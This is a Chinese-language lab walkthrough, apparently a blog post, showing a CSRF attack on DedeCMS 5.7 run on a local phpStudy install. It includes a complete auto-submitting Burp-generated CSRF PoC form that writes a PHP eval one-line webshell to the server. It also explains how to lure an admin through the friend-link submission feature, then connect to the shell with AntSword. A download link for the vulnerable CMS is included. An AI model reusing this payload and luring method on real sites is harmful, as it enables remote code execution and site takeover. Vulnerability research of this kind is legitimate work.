dedecms前端底部存在【友情链接--申请加入】功能入口,提交的链接会进入后端【模块--友情链接】的待审列表。如果该流程缺乏安全校验,可能被用于 CSRF 诱导链------若攻击者提交一个指向CSRF POC页面的链接,当管理员在已登录状态下访问该链接,是否可能触发后台危险操作?
将5.7版本的dedecms部署到本地phpstudy的www目录下
我在网上找了好久的这个版本的dedecms,在这里分享出来,大家可以直接下载
通过网盘分享的文件:dedecms.zip
https://pan.baidu.com/s/12Pp6xheQ7tFekoAjUOIFGw
提取码: j2e6
默认后台登录路径:拼接dede,进入后台,可以直观地看到我们文件的操作
默认管理员的用户名和密码都是admin

左侧核心--文件式管理器--新建文件

写入一句话木马

bp抓包,抓保存时的包,可以看到包中含有刚刚写入文件的木马
然后生成poc用于验证是否含有csrf

复制生成的HTML,在桌面新建一个.html文件,粘贴进去

<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://127.0.0.1/dedecms/uploads/dede/file_manage_control.php" method="POST">
<input type="hidden" name="fmdo" value="edit" />
<input type="hidden" name="backurl" value="" />
<input type="hidden" name="activepath" value="/dedecms/uploads/uploads" />
<input type="hidden" name="filename" value="222.php" />
<input type="hidden" name="str" value="<?php @eval($_REQUEST['123']);?>" />
<input type="hidden" name="B1" value="  保 存  " />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>
将这里文件名改为222,便于和我们新建文件时上传的muma.php文件进行区分

回到dedecms,可以看到我们bp将包放掉后muma.php文件就上传成功了

打开上面创建的.html,点击submit request

登陆进去,得到此url
模块--友情链接--增加链接

将得到的url填入网址栏,提交

点击新建的链接,会有报错但不用管
回到自己创建的写有poc的网页,点击浏览器左上角向左回退的箭头,退到submit request页面,再次点击,发现从poc的222.php文件上传成功了
回到原网站,刷新,222.php文件也上传成功
说明该网页存在csrf
(注:如果写入poc的html页面登录进去没有222.php文件,浏览器左上角箭头回退到submit request再登录多试两次,或者从抓包开始到这步重复两次222.php文件就有了,本人也是重复了好几遍,感觉应该是网站的问题)

蚁剑成功连接,说明木马写入成功

或者访问222.php文件,并且传参phpinfo,成功,也说明木马写入成功
